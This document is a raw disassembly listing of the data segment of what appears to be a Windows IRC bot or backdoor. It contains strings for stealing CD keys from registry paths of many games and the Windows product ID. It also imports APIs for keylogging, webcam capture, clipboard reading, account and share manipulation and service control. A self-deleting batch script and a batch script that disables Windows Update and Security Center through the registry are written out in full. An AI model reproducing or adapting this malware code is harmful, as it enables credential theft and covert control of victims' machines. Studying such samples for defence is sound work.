		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 10h
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 10h
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 4
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aCustomernumber	db 'CustomerNumber',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 10h
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 10h
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 10h
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: seg002:00427E64o
aCdkey		db 'CDKey',0            ; DATA XREF: seg002:00427E60o
		align 4
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: seg002:off_427E5Co
		align 10h
asc_429060:				; DATA XREF: sub_4085B7+E9o
					; sub_4085B7+F4o
		unicode	0, <=>,0
aR:					; DATA XREF: sub_4085B7+8Fo
					; seg000:loc_41128Fo
		unicode	0, <r>,0
aSS_3		db '%s\%s',0            ; DATA XREF: sub_4085B7+7Eo
					; sub_408884+45o
		align 10h
aSCdKeyS_	db '%s CD Key: (%s).',0 ; DATA XREF: sub_4085B7+2Bo
		align 4
unk_429084	db    2			; DATA XREF: sub_40876C+C5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesFoundD_	db '  Files found: %d.',0
unk_4290B8	db    2			; DATA XREF: sub_40876C+5Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingForFi	db '  Searching for file: %s.',0
		align 4
aFoundSS	db ' Found: %s\%s',0    ; DATA XREF: sub_408884+107o
		align 4
aS_3		db '%s\*',0             ; DATA XREF: sub_408884+1Ao
		align 4
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_4089D6+C50o
		align 4
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_4089D6+C48o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_4089D6:loc_409611o
		align 10h
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_4089D6+BE6o
		align 10h
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_4089D6+BD9o
		align 10h
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_4089D6+BCCo
		align 10h
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_4089D6+BBFo
		align 10h
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_4089D6+BB2o
		align 10h
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_4089D6+BAAo
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_4089D6:loc_409573o
		align 10h
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_4089D6+B68o
		align 10h
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_4089D6+B60o
		align 10h
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_4089D6:loc_409529o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4089D6+B0Eo
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4089D6+B01o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_4089D6+AF4o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_4089D6+AECo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_4089D6:loc_4094B5o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4089D6+AAAo
		align 10h
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_4089D6+AA2o
		align 10h
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_4089D6:loc_40946Bo
		align 10h
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4089D6+A60o
		align 10h
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4089D6+A58o
		align 4
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_4089D6:loc_409421o
		align 4
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_4089D6+9CEo
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_4089D6+9C1o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_4089D6+9B4o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_4089D6+9A7o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_4089D6+99Ao
		align 10h
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_4089D6+98Do
		align 10h
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_4089D6+980o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4089D6+973o
		align 4
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_4089D6+966o
		align 4
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_4089D6+959o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_4089D6+951o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_4089D6:loc_409316o
		align 10h
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_4089D6+903o
		align 10h
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_4089D6+8F6o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_4089D6+8EEo
		align 10h
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_4089D6:loc_4092B7o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4089D6+8B4o
		align 4
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_4089D6+842o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_4089D6+835o
		align 10h
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_4089D6+828o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_4089D6+81Bo
		align 4
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_4089D6+80Eo
		align 4
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_4089D6+801o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_4089D6+7F4o
		align 10h
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_4089D6+7E7o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4089D6+7DAo
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_4089D6+7D2o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_4089D6:loc_409197o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_4089D6+688o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_4089D6+67Bo
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_4089D6+66Eo
		align 10h
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_4089D6+661o
		align 10h
aGethostname	db 'gethostname',0      ; DATA XREF: sub_4089D6+654o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_4089D6+647o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_4089D6+63Ao
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_4089D6+62Do
					; seg002:0042C58Co
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_4089D6+620o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_4089D6+613o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_4089D6+60Bo
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_4089D6+5F9o
		align 10h
aRecv		db 'recv',0             ; DATA XREF: sub_4089D6+5ECo
		align 4
aSendto		db 'sendto',0           ; DATA XREF: sub_4089D6+5DFo
		align 10h
aSend		db 'send',0             ; DATA XREF: sub_4089D6+5D2o
					; seg000:0040EF10o
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_4089D6+5C5o
		align 10h
aNtohs		db 'ntohs',0            ; DATA XREF: sub_4089D6+5B8o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_4089D6+5ABo
		align 10h
aHtons		db 'htons',0            ; DATA XREF: sub_4089D6+59Eo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_4089D6+591o
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_4089D6+584o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_4089D6+577o
					; seg002:0042C99Co
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_4089D6+56Ao
aSocket		db 'socket',0           ; DATA XREF: sub_4089D6+55Do
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_4089D6+550o
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_4089D6+543o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_4089D6+536o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_4089D6+529o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_4089D6+51Co
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_4089D6+50Fo
		align 10h
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_4089D6+507o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_4089D6+4F6o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_4089D6+483o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_4089D6+476o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_4089D6+469o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_4089D6+45Co
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_4089D6+44Fo
		align 10h
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_4089D6+442o
		align 10h
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_4089D6+435o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_4089D6+428o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_4089D6+420o
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_4089D6:loc_408DE5o
		align 10h
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_4089D6:loc_408DBDo
		align 10h
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_4089D6+38Fo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_4089D6+382o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_4089D6+375o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_4089D6+368o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_4089D6+35Bo
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_4089D6+34Eo
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_4089D6+341o
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_4089D6:loc_408D0Fo
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_4089D6+309o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_4089D6+2FCo
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_4089D6:loc_408CCAo
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_4089D6+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_4089D6+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_4089D6+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_4089D6+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_4089D6+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_4089D6+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_4089D6:loc_408C35o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_4089D6+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_4089D6+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_4089D6+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_4089D6:loc_408BCEo
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_4089D6+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_4089D6+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_4089D6+186o
		align 10h
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_4089D6+179o
		align 10h
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_4089D6+16Co
		align 10h
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_4089D6+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_4089D6+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_4089D6+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_4089D6:loc_408B0Bo
					; sub_41E6CE+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_4089D6:loc_408ADEo
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_4089D6+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_4089D6+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_4089D6+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_4089D6+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_4089D6+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_4089D6+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_4089D6+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_4089D6+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_4089D6+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_4089D6+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_4089D6+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_4089D6+Ao
		align 4
dword_4299D4	dd 28026502h, 62302E31h, 20282029h, 2E7A6E65h, 1F641F6Dh
					; DATA XREF: sub_409663+2F2o
		dd 2029206Ch, 2BBBB02h
aDllTestComplet	db '  DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_409663+2CCo
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_409663+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_409663+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_409663+230o
		align 10h
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_409663+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_409663+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_409663+194o
		align 10h
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_409663+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_409663+12Co
		align 4
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_409663+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_409663+C4o
		align 4
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_409663+90o
		align 10h
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_409663+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_409663+28o
		align 4
aSErrorSD_	db '%s Error: %s <%d>.',0 ; DATA XREF: sub_409BEC+72o
		align 4
aMirc		db 'mIRC',0             ; DATA XREF: seg000:00409CB6o
					; sub_414376+18o
		align 10h
aExplorer_exe	db 'explorer.exe',0     ; DATA XREF: seg000:00409D4Fo
		align 10h
aSeshutdownpriv	db 'SeShutdownPrivilege',0 ; DATA XREF: sub_409DD7+2o
aComspecCSS	db '%%comspec%% /c %s %s',0
		align 4
a@echoOffRepeat	db '@echo off',0Dh,0Ah  ; DATA XREF: seg000:00409E7Eo
		db ':repeat',0Dh,0Ah
		db 'del "%%1"',0Dh,0Ah
		db 'if exist "%%1" goto repeat',0Dh,0Ah
		db 'del "%s"',0
aSdel_bat	db '%sdel.bat',0
		align 4
aCAb3_bat	db 'c:\ab3.bat',0       ; DATA XREF: sub_409F81+29o
		align 4
a@echoOffEchoRe	db '@echo off',0Dh,0Ah  ; DATA XREF: sub_409F81+14o
		db 'Echo REGEDIT4>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT'
		db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TransportBindName"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Share'
		db 'dAccess]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\wuaus'
		db 'erv]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\wscsvc]>>'
		db '%temp%\1.reg',0Dh,0Ah
		db 'Echo "Start"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableDCOM"="N">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableRemoteConnect"="N">>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa]>>'
		db '%temp%\1.reg',0Dh,0Ah
		db 'Echo "restrictanonymous"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Securi'
		db 'tyProviders\SCHANNEL\Protocols\PCT1.0\Server]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Enabled"=hex:00>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanma'
		db 'nserver\parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AutoShareWks"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AutoShareServer"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo.>>%temp%\1.reg',0Dh,0Ah
		db 'Echo  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip'
		db '\Parameters]>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "NameServer"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "ForwardBroadcasts"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IPEnableRouter"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Domain"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SearchList"="">>%temp%\1.reg',0Dh,0Ah
		db 'Echo "UseDomainNameDevolution"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableICMPRedirect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DeadGWDetectDefault"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DontAddDefaultGatewayDefault"=dword:00000000>>%temp%\1.reg',0Dh
		db 0Ah
		db 'Echo "EnableSecurityFilters"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AllowUnqualifiedQuery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PrioritizeRecordData"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TCP1320Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "KeepAliveTime"=dword:00023280>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BcastQueryTimeout"=dword:000002ee>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BcastNameQueryCount"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "CacheTimeout"=dword:0000ea60>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Size/Small/Medium/Large"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "LargeBufferSize"=dword:00001000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SynAckProtect"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PerformRouterDiscovery"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnablePMTUBHDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FastSendDatagramThreshold "=dword:00000400>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "StandardAddressLength "=dword:00000018>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultReceiveWindow "=dword:00004000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultSendWindow"=dword:00004000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "BufferMultiplier"=dword:00000200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "PriorityBoost"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IrpStackSize"=dword:00000004>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "IgnorePushBitOnReceives"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableAddressSharing"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "AllowUserRawAccess"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableRawSecurity"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DynamicBacklogGrowthDelta"=dword:00000032>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FastCopyReceiveThreshold"=dword:00000400>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "LargeBufferListDepth"=dword:0000000a>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxActiveTransmitFileCount"=dword:00000002>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFastTransmit"=dword:00000040>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "OverheadChargeGranularity"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SmallBufferListDepth"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SmallerBufferSize"=dword:00000080>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TransmitWorker"=dword:00000020>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DNSQueryTimeouts" =hex(7):31,00,00,00,32,00,00,00,32,00,00,'
		db '00,34,00,00,00,38,00,00,00,30,00,00,00,00,00>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultRegistrationTTL"=dword:00000014>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisableReplaceAddressesInConflicts"=dword:00000000>>%temp%\'
		db '1.reg',0Dh,0Ah
		db 'Echo "DisableReverseAddressRegistrations"=dword:00000001>>%temp%\'
		db '1.reg',0Dh,0Ah
		db 'Echo "UpdateSecurityLevel "=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DisjointNameSpace"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "QueryIpMatching"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "NoNameReleaseOnDemand"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableDeadGWDetect"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnableFastRouteLookup"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFreeTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxHashTableSize"=dword:00000800>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "SackOpts"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "Tcp1323Opts"=dword:00000003>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxDupAcks"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpRecvSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpSendSegmentSize"=dword:00000585>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "DefaultTTL"=dword:00000030>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxHalfOpen"=dword:0000004b>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpMaxHalfOpenRetried"=dword:00000050>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "TcpTimedWaitDelay"=dword:00000000>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxNormLookupMemory"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FFPControlFlags"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "FFPFastForwardingCacheSize"=dword:00030d40>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxForwardBufferMemory"=dword:00019df7>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "MaxFreeTWTcbs"=dword:000007d0>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "GlobalMaxTcpWindowSize"=dword:0007d200>>%temp%\1.reg',0Dh,0Ah
		db 'Echo "EnablePMTUDiscovery"=dword:00000001>>%temp%\1.reg',0Dh,0Ah
